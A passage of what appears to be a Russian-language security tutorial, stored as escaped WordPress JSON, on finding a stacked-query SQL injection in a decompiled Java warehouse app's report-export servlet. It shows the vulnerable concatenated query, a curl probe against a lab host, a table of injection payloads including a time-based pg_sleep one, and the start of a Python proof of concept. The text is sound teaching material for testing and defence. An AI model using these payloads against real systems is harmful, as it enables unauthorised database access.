\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u043f\u0435\u0440\u0435\u043c\u0435\u0448\u043a\u0443 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u041d\u0443\u0436\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e JAR \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u043c \u0438\u0445 \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430: \u043d\u0430\u0448\u0438\u00a0\u2014 acme\u2011wms\u2011*, \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 (postgresql\u2011*, commons\u2011*, \u2011slf4j\u2011)\u00a0\u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u0438\u0445 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u041d\u0430\u00a0\u0440\u0430\u0437\u043c\u0435\u0440 \u043d\u0435\u00a0\u0441\u043c\u043e\u0442\u0440\u0438\u043c: \u0443\u00a0\u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0435\u0433\u043e\u00a0\u0436\u0435 JAR\u2011\u044b\u00a0\u0431\u044b\u0432\u0430\u044e\u0442 \u043c\u0435\u043d\u044c\u0448\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445.WEB\u2011INF\\lib\\ \u251c\u2500 acme\u2011wms\u2011core.jar <\u2011 \u044f\u0434\u0440\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u043d\u0430\u0448 \u0432\u0435\u043d\u0434\u043e\u0440) \u251c\u2500 acme\u2011wms\u2011web.jar <\u2011 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u044b \u0438 \u0432\u0435\u0431\u2011\u0441\u043b\u043e\u0439 <\u2011 \u0441\u044e\u0434\u0430 \u251c\u2500 acme\u2011wms\u2011reporting.jar <\u2011 \u043e\u0442\u0447\u0435\u0442\u044b \u251c\u2500 postgresql-42.7.11.jar (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c) \u251c\u2500 commons\u2011lang3-3.20.0.jar (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c) \u251c\u2500 commons\u2011io-2.22.0.jar (\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u044f\u044f, \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u043c) \u2514\u2500 …\u00a0 (slf4j \u0438 \u043f\u0440\u043e\u0447\u0438\u0435)\u041a\u0430\u0442\u0430\u043b\u043e\u0433 WEB-INF\\lib: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0443\u0437\u043d\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 acme-wms-*, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c acme-wms-web.jar \u0432 JD-GUI \u2192 File \u2192 Save All Sources \u2192 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0430\u0440\u0445\u0438\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0435\u0441\u0442\u044c.\u0428\u0430\u0433 2. \u0418\u0449\u0435\u043c SQL \u0432 \u043a\u043e\u0434\u0435\u0413\u0440\u0435\u043f\u043d\u0443\u0442\u044c SQL \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u0434\u0443:^.*?select.*?from.*?$ ^.*?query.*?select.*?\u0422\u044b\u0441\u044f\u0447\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 — \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u0430\u043d\u0430\u043b\u0438\u0437 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432.Find in Files \u0432 Notepad++: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0438\u0441\u043a\u0430.\u0421\u0443\u0436\u0430\u0435\u043c \u0434\u043e \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432\u0421\u0435\u0440\u0432\u043b\u0435\u0442 \u2014 Java-\u043a\u043b\u0430\u0441\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441. GET \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u043c\u0435\u0442\u043e\u0434 doGet, POST \u2014 \u0432 doPost, \u0438 \u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0442\u0430\u043a \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u0418\u0449\u0435\u043c \u043f\u043e \u043d\u0438\u043c:doGet doPost doPut doDelete\u0421\u0443\u0436\u0430\u0435\u043c \u043f\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0435 do(Get|Post|Put|Delete). \u0421\u0440\u0435\u0434\u0438 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u043e\u0432 \u2014 ReportExportServlet.java. \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043e\u0442\u0447\u0435\u0442\u043e\u0432 = \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0438\u0437 \u0411\u0414 \u043f\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u043c, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0435\u0434\u0443\u0442 \u043f\u0440\u044f\u043c\u043e \u0432 SQL. \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c.\u041f\u043e\u0438\u0441\u043a \u043f\u043e doGet: \u0441\u0440\u0435\u0434\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u2014 ReportExportServlet.java.\u0428\u0430\u0433 3. \u0427\u0438\u0442\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0422\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430\u0421\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432:doPost \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u0442 \u0432 doGet \u2014 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 GET, \u0438 POST.\u0421\u0430\u043c doGet:public void doGet(HttpServletRequest request, HttpServletResponse response) \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 throws ServletException, IOException { \u00a0\u00a0\u00a0 response.setContentType(«text\/html; charset=UTF-8»); \u00a0\u00a0\u00a0 PrintWriter out = response.getWriter(); \u00a0\u00a0\u00a0 String fullExport = request.getParameter(«fullExport»); \u00a0\u00a0\u00a0 if ((fullExport != null) && («true».equals(fullExport))) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportFullCatalog(out); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return; \u00a0\u00a0\u00a0 } \u00a0\u00a0\u00a0 String minQty = request.getParameter(«minQty»); \u00a0\u00a0\u00a0 String warehouseId = request.getParameter(«warehouseId»); \u00a0\u00a0\u00a0 String includeArchived = request.getParameter(«includeArchived»); \u00a0\u00a0\u00a0 if ((includeArchived != null) && («true».equals(includeArchived))) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 boolean archived = AccessUtil.hasArchiveAccess(warehouseId); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(archived); \u00a0\u00a0\u00a0 } else if (minQty != null) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if ((warehouseId != null) && (!»».equals(warehouseId))) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportStockByWarehouse(warehouseId, minQty, out);\u00a0\u00a0 \/\/ <— \u0441\u044e\u0434\u0430 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 } else { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 exportAllStock(minQty, out); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 } \u00a0\u00a0\u00a0 } else { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 out.println(«missing parameters»); \u00a0\u00a0\u00a0 } }\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u043b\u0435\u0442: fullExport, minQty, warehouseId, includeArchived. \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435:\u00b7 fullExport=true \u2192 exportFullCatalog \u0438 return. \u041c\u0438\u043c\u043e.\u00b7 includeArchived=true \u2192 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041c\u0438\u043c\u043e.\u00b7 \u0438\u043d\u0430\u0447\u0435, \u0435\u0441\u043b\u0438 \u0437\u0430\u0434\u0430\u043d minQty \u0438 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 warehouseId \u2192 exportStockByWarehouse(warehouseId, minQty, out). \u0421\u044e\u0434\u0430.\u0412\u0445\u043e\u0434 \u0432 \u043d\u0443\u0436\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443: fullExport \u0438 includeArchived \u043d\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u043c, minQty \u0438 warehouseId \u2014 \u043d\u0435\u043f\u0443\u0441\u0442\u044b\u043c\u0438.doPost \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 doGet \u2014 \u043e\u0431\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432\u0435\u0434\u0443\u0442 \u043a \u043e\u0434\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0435.\u0428\u0430\u0433 4. \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044epublic void exportStockByWarehouse(String paramString1, String minQty, PrintWriter out) { \u00a0\u00a0\u00a0 int min = Integer.parseInt(minQty); \u00a0\u00a0\u00a0 String qry = «select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=» \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 + paramString1 + » and QTY > » + min; \u00a0\u00a0\u00a0 … \u00a0\u00a0\u00a0 Statement st = ConnectionPool.getConnection().createStatement(); \u00a0\u00a0\u00a0 ResultSet rs = st.executeQuery(qry); \u00a0\u00a0\u00a0 … }\u00b7 minQty \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 Integer.parseInt(…)\u00a0\u2014 \u043d\u0435\u2011\u0447\u0438\u0441\u043b\u043e \u0434\u0430\u0435\u0442 NumberFormatException \u0435\u0449\u0435 \u0434\u043e\u00a0\u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u0430\u043a\u00a0\u0432\u0435\u043a\u0442\u043e\u0440 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d.\u00b7 warehouseId (paramString1) \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u0430\u043a\u00a0\u0435\u0441\u0442\u044c: \u0431\u0435\u0437\u00a0\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0431\u0435\u0437\u00a0PreparedStatement, \u0431\u0435\u0437\u00a0\u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043a\u00a0\u0447\u0438\u0441\u043b\u0443.\u00b7 \u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 Statement.executeQuery(qry)\u00a0\u2014 \u0431\u0430\u0437\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e.warehouseId \u0443\u044f\u0437\u0432\u0438\u043c \u043a SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0432\u044b\u0447\u0435\u043a (WAREHOUSE_ID=1, \u0430 \u043d\u0435 =’1′). \u0417\u043d\u0430\u0447\u0438\u0442, \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2014 \u043c\u044b \u0443\u0436\u0435 \u0432\u043d\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043b\u0438\u0442\u0435\u0440\u0430\u043b\u0430 \u0438 \u043c\u043e\u0436\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 SQL. \u0421\u0423\u0411\u0414 \u2014 PostgreSQL.\u0421\u0442\u0440\u043e\u043a\u0430 «… WHERE WAREHOUSE_ID=» + paramString1 \u2014 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 SQL.\u0428\u0430\u0433 5. \u0412\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c URL\u041a\u043b\u0430\u0441\u0441 \u2014 \u043d\u0435 \u0430\u0434\u0440\u0435\u0441. \u041f\u043e \u043a\u0430\u043a\u043e\u043c\u0443 URL \u0441\u0435\u0440\u0432\u043b\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0441\u043d\u0430\u0440\u0443\u0436\u0438? \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u00ab\u043a\u043b\u0430\u0441\u0441 \u2192 URL\u00bb \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f WEB-INF\/web.xml: \u0431\u043b\u043e\u043a <servlet> \u0434\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u043c\u044f, <servlet-mapping> \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u0438\u043c\u044f \u043a \u043f\u0443\u0442\u0438. \u0413\u0440\u0435\u043f\u0430\u0435\u043c \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u043a\u043b\u0430\u0441\u0441\u0430:<servlet> \u00a0\u00a0\u00a0 <servlet-name>ReportExportServlet<\/servlet-name> \u00a0\u00a0\u00a0 <servlet-class>com.acme.wms.servlets.ReportExportServlet<\/servlet-class> <\/servlet> <servlet-mapping> \u00a0\u00a0\u00a0 <servlet-name>ReportExportServlet<\/servlet-name> \u00a0\u00a0\u00a0 <url-pattern>\/servlet\/ReportExportServlet<\/url-pattern> <\/servlet-mapping>url-pattern: \/servlet\/ReportExportServlet.web.xml \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043b\u0430\u0441\u0441 \u0441\u0435\u0440\u0432\u043b\u0435\u0442\u0430 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c URL.\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0432\u0435\u0442\u043a\u0443:https:\/\/<target>:8443\/servlet\/ReportExportServlet?minQty=1&warehouseId=1\u0421\u043e\u0431\u0435\u0440\u0435\u0442 SQL:select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1 and QTY > 1warehouseId \u2014 \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430.\u0428\u0430\u0433 6. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u043c\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e\u0420\u0443\u043a\u0430\u043c\u0438, \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 ; \u0432 warehouseId:curl ‘https:\/\/192.168.56.20:8443\/servlet\/ReportExportServlet?minQty=1&warehouseId=1;’ -k -i\u0421\u0438\u043c\u0432\u043e\u043b ; \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u043e\u0434\u0438\u043d SQL-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 (\u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441). JDBC-\u0434\u0440\u0430\u0439\u0432\u0435\u0440 PostgreSQL \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u043e\u0434\u043d\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u2014 \u044d\u0442\u0438\u043c \u043c\u044b \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f. \u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c [C1]\u00a0debug-\u043b\u043e\u0433\u0435 \u0432 \u043b\u043e\u0433\u0430\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0430 \u0432 \u043b\u043e\u0433\u0435 PostgreSQL \u2014 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430. \u0412\u0432\u043e\u0434 \u0434\u043e\u043b\u0435\u0442\u0430\u0435\u0442 \u0434\u043e \u043f\u0430\u0440\u0441\u0435\u0440\u0430 SQL.\u041f\u0435\u0440\u0435\u0431\u043e\u0440 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (PostgreSQL, \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442):\u041d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 (\u0432 warehouseId)\u0418\u0434\u0435\u044f\u0418\u0442\u043e\u04331 ORDER BY 1—\u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043b\u043e\u043d\u043e\u043a\u0437\u0430\u0432\u0438\u0441\u0438\u04421 UNION SELECT 1\u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 UNION\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u04421 UNION SELECT CASE WHEN (1=1) THEN 1 ELSE 0 ENDboolean-based\u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u04421;select pg_sleep(10)—time-based blind\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u00a0UNION \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442: \u0447\u0438\u0441\u043b\u043e \u0438 \u0442\u0438\u043f\u044b \u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c. \u0422\u043e\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 distinct(SKU) (varchar), \u0430 SELECT 1 \u2014 integer. Postgres \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 UNION types integer and character varying cannot be matched. \u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 (SELECT NULL::text) \u043f\u043e\u043c\u043e\u0433\u043b\u043e \u0431\u044b, \u043d\u043e \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0444\u0430\u043a\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435.Time-based \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442. pg_sleep(10) \u2014 \u0444\u0443\u043d\u043a\u0446\u0438\u044f PostgreSQL, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0436\u0434\u0435\u0442 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u0435\u043a\u0443\u043d\u0434. \u041f\u0440\u0438\u0435\u043c \u0443\u0434\u043e\u0431\u0435\u043d \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435: \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f, \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 10 \u0441\u0435\u043a\u0443\u043d\u0434 \u0434\u043e\u043b\u044c\u0448\u0435 \u2014 \u0438 \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u0438\u0433\u043d\u0430\u043b \u00ab\u0434\u0430\u00bb. \u0422\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432\u0441\u043b\u0435\u043f\u0443\u044e, \u043a\u043e\u0433\u0434\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f.\u041e\u0434\u043d\u0430 \u0434\u0435\u0442\u0430\u043b\u044c: \u043f\u043e\u0441\u043b\u0435 warehouseId \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0445\u0432\u043e\u0441\u0442 \u00a0and QTY > 1. \u0415\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0433\u043e\u043b\u043e\u0439, \u043e\u043d \u043f\u0440\u0438\u043b\u0438\u043f\u043d\u0435\u0442 \u043a pg_sleep (select pg_sleep(10) and QTY > 1) \u0438 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u043f\u0430\u0434\u0435\u0442 \u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0435\u0449\u0435 \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u2014 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0445\u0432\u043e\u0441\u0442 \u0433\u0430\u0441\u0438\u043c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u043c —. \u041d\u0430\u0448 \u0441\u0442\u0435\u043a-\u0437\u0430\u043f\u0440\u043e\u0441 ;select pg_sleep(10)— \u0434\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u0442\u0430\u043a\u0443\u044e \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0443:select distinct(SKU) from WMS_STOCK_ITEMS where WAREHOUSE_ID=1;select pg_sleep(10)— and QTY > 1PoC \u043d\u0430 Python#!\/usr\/bin\/env python3 import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def main(): \u00a0\u00a0\u00a0 if len(sys.argv) != 2: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(«usage: %s <target>» % sys.argv[0]) \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 sys.exit(1) \u00a0\u00a0\u00a0 target = sys.argv[1] \u00a0\u00a0\u00a0 payload = «;select pg_sleep(10)—»\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # time-based blind, —…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-495189","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/495189","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=495189"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/495189\/revisions"}],"wp:att